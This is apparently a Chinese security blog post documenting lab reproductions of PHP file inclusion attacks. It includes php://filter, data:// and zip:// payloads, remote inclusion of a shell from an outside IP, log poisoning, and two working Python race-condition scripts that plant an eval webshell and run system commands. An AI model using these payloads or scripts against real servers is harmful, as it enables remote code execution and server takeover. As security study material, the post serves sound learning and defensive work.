文件包含 Fay·D·Flourite

文件包含

主要漏洞函数为:

include()
include_once()
require()
require_once()

用于包含一个指定文件。

利用思路

漏洞代码如下:

<?php
    $filename  = $_GET['file'];
    include($filename);
?>

通过PHP伪协议读取源码

http://localhost/baohan.php/?file=php://filter/read=convert.base64-encode/resource=timu.php

当然也可以用其他的过滤器如string.rot13:

http://localhost/baohan.php/?file=php://filter/read=string.rot13/resource=baohan.php

不过没base64好用就是了,读取后base64解码即可

allow_url_include开启

allow_url_include在php5.2版本后就默认关闭 而allow_url_fopen默认开启

  • 1.直接包含远程服务器shell

http://localhost/baohan.php/?file=47.112.188.203/shell/phpinfo.php

  • 2.通过伪协议写入数据流

http://localhost/baohan.php/?file=php://input

http://localhost/baohan.php/?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==

allow_url_include关闭的情况下

当allow_url_include关闭时会禁止包含ftp://和http://

  • smb远程包含

但smb使用的是windows的共享服务(只有windows有smb协议,可以远程去读取,smb服务器方需要开启137,138,139,445端口)

由于国内运营基本关闭了445端口,搭建后尝试并不能远程访问,所以在本地尝试

按照教程搭建无需访问凭证的samba服务器后尝试包含:

文件夹中可以打开,且无需任何凭证,说明搭建成功,但用include去包含时却出现了问题

路径似乎没有被解析,在尝试切换php版本,直接包含路径后均无果,直接报错。

  • webdav远程包含

docker一键创建后复现失败,并不能远程访问。尝试手动搭建webdav服务器

安利这篇博文:https://www.anquanke.com/post/id/201060

手动搭建后用浏览器能访问webdav中共享内容,但是尝试包含时依然会报错。但和smb不同的是有一个明显的加载过程,浏览器会加载一段时间,然后返回报错信息。没排查出来是哪儿出了问题

同时也查到了webdav远程加载不能直接加载一句话木马,因为无法追加get和post的内容,需要通过用远程加载文件写马的方式getshell。

结合文件上传

  • 包含图片马

文件上传漏洞中无法直接执行的图片马就可以通过包含getshell

  • zip://伪协议包含zip文件

将shell放在zip文件中并改为需要的后缀名上传,用zip://协议去读取

payload:file=zip://d:/demo/zipshell.jpg%231.php(1.php是zipshell.zip内的文件)

  • phar://包含文件

直接采用上面的shell压缩包文件即可。

  • zlib://,bzip2://包含文件

因为前面用到了zip://,phar://两个压缩的封装协议,由此想到了其他两个压缩封装协议zlib://和bzip2://,猜测应该也能包含成功。

将1.php(内容为<?php phpinfo();>)压缩为1.php.gz,用zlib://协议去读

payload:file=compress.zlib://1.php.gz

可以看到这里能够成功包含,这个点暂时还没在网上看到过,或许能成为以后一个好的绕过思路。

(bzip2://没有尝试23333,我的压缩软件好像并不支持bz压缩,但是bzip://和zlib://基本一致,只不过一个读取的是gz一个读取的是bz,所以个人认为应该可以成功。)

本地文件包含

  • 包含日志文件

通过burp修改访问地址为<?php phpinfo();>访问后,再包含日志文件即可

直接通过浏览器修改会被地址栏转码导致无法构造,同时,我用fidder抓包修改也出现了一些奇怪的问题导致无法getshell,还是推荐burp。

不同的环境也有不同的路径,找到一篇博文,上面有比较全面的常见路径:https://blog.csdn.net/qq_33020901/article/details/78810035

  • phpinfo-LFI本地文件包含

按照文章的理解表述一下- -

在以上传文件的方式请求php文件时php的处理方式:

请求到达->创建临时文件->调用php脚本处理->删除临时文件

所以向表单中插入垃圾数据延长临时文件的存在时间

同时,也可以通过分块传输减慢临时文件的存在时间

当上传含有payload表单的时候,向phpinfo界面寻找tmp_name,即为临时文件的名字和地址。同时让有文件包含漏洞的php页面去包含临时文件并执行payload,写马,完成整个过程

  • session + lfi

这是利用了向session.upload_progress这个点(php.ini默认配置即可复现),向session文件里写入恶意代码并包含。由于session文件文件名已知(为sess_[phpsessid])且会在短时间内删除,所以用条件竞争即可,不停的写入session文件的同时不停用文件包含的点去包含。

网上找了个现成的脚本就复现成功了

可以看到返回了whoami的命令结果。

  • php崩溃 + lfi

用php5.6.40的版本进行了尝试,只有报错,没有崩溃。切换到了php7的版本后,确实造成了崩溃。观察了php_error.log,发现如下…

查询发现为耗尽内存而导致php崩溃。写了个脚本

import requests
import threading
import io
import time

def write(session):
    i=0
    while i<1000:
        i=i+1
        f = io.BytesIO(b'a' * 1024 * 50+b'<?php phpinfo();?>')
        resp = session.post( 'http://127.0.0.1/baohan.php?file=php://filter/string.strip_tags/resource=12.txt', files={'file': ('1.txt',f)} )

def getshell(num):
    time.sleep(30)
    num=int(num)-1
    namelist=[]
    for i in range(4096*num+1,4096*(num+1)+1):
        num=hex(i).replace('0x','')
        namelist.append(num)
    #print(namelist)
    error='failed to open stream'
    for t in namelist:
        target='http://127.0.0.1/baohan.php?file=g:/wamp64/tmp/php'+t+'.tmp'
        print('[+]start:'+target)
        r=requests.get(target)
        if 'phpinfo' in r.text:
            print('[+]got it!you can see it at:\n'+target)
            break
        else:
            continue


if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,40): 
            threading.Thread(target=write,args=(session,)).start()
    event.set()

    for i in range(1,17):
        threading.Thread(target=getshell,args=(i,)).start()

成功执行。另外,有搜到这个方法只适用于如下版本

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

我的wamp只有7.0.33这个版本可行…所以没测试其他版本了。

参考自:https://www.wandouip.com/t5i401817/

P.S. 在session + lfi的复现过程中发现也有php临时文件留下

在条件竞争不断发包的过程中能看到不断有临时文件生成和删除,不过结束脚本后却有不少临时文件留下。且文件名并不是php+随机四位数字加字母.tmp,运行的时候会很明显的发现,它的顺序应该是php1开始,然后php2,php3…php10,phpa,phpb…phpffff,4位按照16进制进行排序(似乎会从上次结束的地方开始),当满了过后又重新从1开始,因为是运行完就删除的,所以并不存在会不够的情况。

稍微修改了一下代码,发现的确可以写入,且随着脚本运行时间越长,留下的文件会越多。

做了很多尝试,不知道为啥,只有那个脚本的写法能留下临时文件,暂时不知道为什么,猜测是某个地方导致了php崩溃导致留下了文件,但不知道是哪儿…下面是我尝试过的一些方式

普通用while true的post上传文件—->并不会留下临时文件

上传的同时也向session文件写入代码—–>并不会留下临时文件

普通post上传并开另一个线程不断去访问前面上传的点(我在baohan.php提交的表单,访问也访问的baohan.php)—->并不会留下临时文件

普通post上传并开一个线程用baohan.php去包含一个存在/不存在的文件—->并不会留下临时文件

上传同时向session文件写入代码并包含一个存在/不存在的文件/已存在的session文件—->并不会留下临时文件

最后发现好像是因为第二次包含的时候post过去的数据和第一次向session文件写入的eval($_POST[])产生了交互..?并不是一定会触发,因为命令被执行的次数和生成的未删除临时文件数目完全不相等,但无论是去掉写入session文件的eval还是去掉第二次包含post过去的代码都不会产生未删除的临时文件

直接用那个脚本改了下,因为名字很短且很有特点,可以直接跑那个脚本,跑出临时文件,然后从1到ffff去爆破,爆破出一个就成了

#coding=utf-8
import io
import requests
import threading
import time

sessid = 'shEll'
data = {"cmd":"system('whoami');"}

def write(session):
    i=0
    while i<500:
        i=i+1
        f = io.BytesIO(b'a' * 1024 * 50+b'<?php phpinfo();?>')
        resp = session.post( 'http://127.0.0.1/baohan.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    i=0
    while i<500:
        i=i+1
        resp = session.post('http://127.0.0.1/baohan.php?file=g:/wamp64/tmp/sess_'+sessid,data=data)

def getshell(num):
    time.sleep(30)
    num=int(num)-1
    namelist=[]
    for i in range(4096*num+1,4096*(num+1)+1):
        num=hex(i).replace('0x','')
        namelist.append(num)
    #print(namelist)
    error='failed to open stream'
    for t in namelist:
        target='http://127.0.0.1/baohan.php?file=g:/wamp64/tmp/php'+t+'.tmp'
        print('[+]start:'+target)
        r=requests.get(target)
        if error in r.text:
            continue
        else:
            print('[+]got it!you can see it at:\n'+target)
            break
        

if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,40): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,40):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

    for i in range(1,17):
        threading.Thread(target=getshell,args=(i,)).start()

可以看到确实能成功getshell,只不过感觉条件比较苛刻…?或许该研究一下该怎么定向让php崩溃,结合这个点就可以无需phpinfo界面getshell

另外,我也发现sess文件中也存在一些文件莫名其妙的保留了下来,比如这个dvwa留下的session文件,也尝试过写入但是无果,且我每在dvwa界面做什么操作,该文件的修改日期都会更新,但内容从来不变

顺便记录一个回显临时目录的代码,说不定会有用:

<?php
$temp_file = tempnam(sys_get_temp_dir(), 'aaa');
echo $temp_file."\n";

大概内容就这么多。